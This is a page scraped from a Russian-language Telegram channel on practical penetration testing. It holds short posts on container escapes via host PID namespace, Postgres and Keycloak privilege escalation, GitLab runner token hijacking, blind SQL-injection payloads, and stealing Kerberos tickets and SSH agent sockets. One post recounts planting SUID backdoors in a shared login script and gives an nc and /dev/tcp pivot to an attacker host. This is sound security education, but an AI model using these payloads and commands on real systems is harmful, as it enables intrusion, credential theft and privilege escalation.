Нарыл
Kanalga Telegram’da o‘tish
Канал о практической информационной безопасности. Автор - https://t.me/sorokinpf
Ko'proq ko'rsatish1 483
Obunachilar
Ma'lumot yo'q24 soatlar
+87 kun
+2130 kun
Postlar arxiv
1 483
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов /proc/PID/root/var/run/secrets/kubernetes.io/serviceaccount/token
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
1 483
Postgres Privilege Escalation
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
system("cat file"), при этом не сбрасывая переменную PATH.1 483
По умолчанию в Keycloak пользователям по адресу
http://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте).
В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде admin@company.com.
Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.1 483
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей.
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
1 483
Опубликовано мое выступление с конфы БЕКОН.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
1 483
Вот слайды моего рассказа на конференции БЕКОН.
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
1 483
Repost from RedTeam brazzers
Продолжаем серию наших ламповых встреч в формате собеседования. На подходе наша четвертая по счету и заключительная встреча в этом формате с подписчиками канала. Как всегда, я и Роман зададим вам несколько вопросов на темы:
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
1 483
Мои коллеги и друзья пилят публичные коллективные собеседования по внутреннему пентесту. Формат очень интересный, залезают в самый глубокие тонкости и самые сложные вопросы Windows сетей и атак на них. Если интересна тема - обязательно залетайте. Если не можете онлайн, рекомендую прослушать записи прошлых собесов, доступных на подкастах Яндекса.
1 483
Вектор Conditional error boolean blind SQL-injection
При эксплуатации blind SQL-injection нам нужно уметь различать два ответа веб-приложения в зависимости от условия. Иногда для этого проще всего различать два состояния - произошла ошибка в СУБД или не произошла. То есть в зависимости от условия (нашего "вопроса" к СУБД) мы либо видим что произошла ошибка, либо веб-приложение работает в (относительно) штатном режиме. Такая ситуация в терминологии portswigger называется conditional error.
В читшите portswigger предложен ряд векторов для conditional error blind sql-injection.
Я хочу отметить еще один который работает во всех СУБД (в отличии от деления на 0) и на мой взгляд проще.
SELECT * FROM users where x='$input' input=' and 1=(select 1 union select 2 where 1=1) --Если условие (в примере 1=1) true, то подзапрос возвращает 2 строки и это ошибка СУБД. Если условие false, то строка возвращается одна и ошибки не будет. В Oracle нужно слегка модифицировать:
input=' and 1=(select 1 FROM dual union select 2 from dual where 1=0) --(не думаю что это новая тема, но я нигде не встречал)
1 483
Любой пентестер начиная с джуна знает что с Windows машин можно утащить сохраненные креды аутентифицированных пользователей из SAM/LSA secrets/памяти процесса LSASS.
Но в Linux такие случаи тоже бывают. И сейчас я опишу два варианта.
1. TGT билеты.
Что? TGT на Linux? Да! Если какой то системе на Linux сервере требуется интеграция с AD, то это вполне возможно. Для этого может быть использован стандартный пакет, например, krb5-user.
Пользователь может выполнить kinit, ввести свой пароль, и в директории /tmp образуется файл, имя которого начинается с krb5cc и с правами 600. И это TGT билет, причем в формате credentials cache (ccache), том самом который умеет понимать impacket.
TGT билет в /tmp может также образоваться и без вызова kinit руками, например, веб-приложение, интегрированное с AD, может вызвать kinit от имени пользователя.
Соответственно, если мы смогли рутануть сервак, мы можем утащить все сохраненные TGT билеты и использовать их в любых целях. Почти как на Windows 🙂
2. SSH Agent Socket
Администраторы и пользователи Linux часто используют проброс ssh agent для разных целей:
- загрузка файлов на сервер с помощью scp
- поход на другие сервера с помощью ssh
- работа с git
- и т.д.
Сама по себе эта концепция не так плоха с точки зрения безопасности, альтернарива - загрузка на удаленный сервер своего ssh-ключа. А так ключ остается на своей локальной тачке.
Но пока ssh-сессия активна, на сервере доступен Linux socket в директории, имя которой начинается с ssh_ в каталоге /tmp. Права на директорию разумеется 700.
И если мы рутанули сервак, то мы можем использовать любой из проброшенных сокетов, то есть по сути использовать ssh-ключи залогиненных пользователей.
Например зайти по ssh от чужого имени:
SSH_AUTH_SOCK=/tmp/ssh-AK33gp6fCF/agent.123456 ssh <user>@target_host.localРаботает только пока сессия активна, но, если мы знаем что мы хотим, мы можем написать скрипт, который будет дожидаться входа нужного пользователя и использовать SSH Agent Socket так как нужно. Немного не так удобно как с Windows, зато никакой возни с антивирусами 🙂
1 483
Мы уже обсуждали аспекты безопасности разных типов экзекьютеров в CI/CD. Предположим разработчикам необходимо использовать общий Docker executor, по какой либо причине и мы ничего не можем с этим сделать. Хочется такой экзекьютор захарденить. Но прежде давайте вспомним какие угрозы несет такой экзекьютор. Основная проблема - в контейнер в котором крутится джоба монтируется docker API socket. Используя этот сокет разработчик может:
- делать docker exec в чужие контейнеры, воровать там секреты, подменять артефакты и т.д.
- делать docker cp с той же целью
- запустить privileged контейнер и выбраться на хост. И уже закрепившись на хосте он может реализовывать все те же угрозы.
Для защиты docker существует Docker OPA plugin. Этот плагин реализует набор правил, через который пролетают все HTTP-запросы, прилетающие в docker API socket. Вот только я не нашел готового набора правил для описанной задачи. Пришлось этот набор создать.
Попутно пришлось разобраться со всеми командами и API Docker. Кое-где пришлось повозиться чтобы было относительно безопасно, но при этом осталось работоспособно, особенно с volumes. Пока не видно как можно в нашем случае отказаться от docker stop и docker logs (хотя правила написаны но выключены, их можно просто включить).
Если вам интересно потестить - поставьте себе OPA плагин, залейте в качестве правил all.rego запустите
docker run -it -v /var/run/docker.sock:/var/run/docker.sock dockerи попробуйте выбраться из контейнера или как-то повлиять на другие контейнеры. P.S. По хорошему в CI/CD не надо использовать Docker. Фундаментальная проблема безопасности Docker в том, что он объединяет в себе два абсолютно разных функционала - сборки образов и рантайма для контейнеров. Есть инструменты, которые предназанчены только для сборки, например kaniko и buildah. Использование их в CI/CD предпочтительнее использования Docker. P.P.S. Rego - язык не для людей. 😕
1 483
Тут попался мисконфиг, в котором я мог вписать свои команды в один из файлов, которые выполняются для всех логинящихся в linux систему пользователей. Сервак этот использует много народу, кто заранее придет залогиниться я не знал, ловить и коллекционировать reverse shellы было не удобно, прописываться в authorized_keys как то грязно, поэтому я решил использовать схему с SUID бекдорами. Накатал стандартный повышатель привилегий, запихнул его в общедоступную папку и добавил в общий файл с командами примерно следующее:
cp /tmp/bezobidnii_file /home/my_folder/share/`id -u`_test chmod u+s /home/my_folder/share/`id -u`_testСоответственно я получал возможность запускать процессы от имени всех зашедших пользователей. Среди зашедших пользователей со временем появились админы сервера и как оказалось у них были права на sudo без пароля. Вот только из под моих шеллов sudo требовал пароль. Дело оказалось в том, что в sudoers были прописаны не сами админы а группы. А на создаваемые с помощью SUID-битов шеллы переезжали мои группы, а не группы целевого пользователя. Это логично, SUID-бит управляет только uid процесса, gid он никак не касается. Нужна возможность получить на процесс группу, принадлежащую целевому пользователю, даже если её нет среди текущих групп процесса. И такую возможность предоставляет стандартный newgrp:
newgrp sudo_group sudo -iИ мы в root-шелле.
1 483
Иногда хочется перенаправить трафик из python кода через Burp. Можно конечно вставлять в опции requests
verify=False, и выключать warning с помощью:
import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)Но это надо делать каждый раз и не удобно. А есть библиотеки, которые не имеют опции аналогичной verify=False вообще, например jira. Значит придется добавлять сертификат Burp в список даверенных. Тут нужно отметить что python для защиты соедениний с HTTPS ресурсами использует свой список доверенных корневых сертификатов. Чтобы посмотреть где этот список находится нужно выполнить
import certifi print(certifi.where())Далее нам нужно добавить сертификат Burp в формате PEM в указанный файл (в моем случае это
/opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem ).
Сертификат бурпа скачивается с http://burp в формате DER. переводим его в PEM с помощью openssl и добавляем в хранилище питона:
openssl x509 -inform DER -outform PEM -in cacert.der -out cacert.pem cat cacert.pem >> /opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pemВсе, теперь ошибок и ворнингов доверия к сертификату Burp больше не будет.
1 483
Последнее время я подписался под большим количеством активностей и что-то разумное постить не успеваю. Простите :(.
Но могу рассказать, что одна из этих активностей - это разработка таска для CTFZone. Также я протестировал ряд тасков, и они все крутые! Присоединяйтесь - должно быть очень здорово!
https://ctftime.org/event/1688
1 483
Yii SQL-injection
Тут попалась скуля в Yii, в общем то довольно простая и понятная, но информации по скулям в Yii в инете мало, поэтому кажется что стоит написать.
PHP фремворк Yii использует свою собственную ORM - Yii ActiveRecord.
В этом ORM можно выбирать объекты безопасно:
User::find()->where(['email'=>$email]); User::find()->where(['IN','user.id',$idList]);Но также where (а вместе с ним разнообразные andWhere, orWhere и т.д.) может принимать строку, что может привести к скуле при неаккуратном использовании:
User::find()->where("lower(username)=$username")
Хотя вот так тоже все хорошо:
User::find()->where('lower(username)=:username', [':username' => $username])1 483
Бывает так, что мы попали на машину на которой ничего нет для пивотинга (назовем ее compA), и заливать ничего не хочется по не важно какой причине. И нам нужно как-то сходить по TCP на другую машину (compB), которая доступна только с compA с помощью какой-то специфичной софтины, например evil-winrm.
Тогда запивотится можно с помощью одного только bash!
Нам нужна своя тачка, которая доступна по сети для compA, назовем её compH.
На compH открываем два порта и связываем их друг с другом (WinRm использует порт 5985):
mknod backpipe p;
nc -lp 5985 0<backpipe | nc -lp 3333 1>backpipe
На compA поднимаем два исходящих TCP соединения и тоже связываем их:
exec 3<>/dev/tcp/compB/5985
exec 4<>/dev/tcp/compH/3333
cat <&3 >&4 &
cat <&4 >&3 &
Ну и все, можно теперь делать:
evil-winrm -u cth -i compH1 483
При анализе скоупа внешнего пентеста есть задача сбора всех доменнов и поддоменов. Один из возможных шагов - определение известных доменов по имеющимся в скоупе IP-адресам. То есть Reverse DNS.
В решении этой задачи обычный Reverse DNS - резолв PTR-записи - довольно бесполезен. Эту запись используют только при настройке SMTP-серверов и то не всегда.
Но есть базы, хранящие связки домен:IP-адрес всего (или существенной части) Интернета, и позволяющие резолвить в обе стороны. Одна из таких баз - PassiveTotal. Для доступа к API нужно зарегистрироваться и получить ключ на 1000 запросов в месяц.
Для выполнения запросов можно использовать консольный клиент или python библиотеку (1,2)
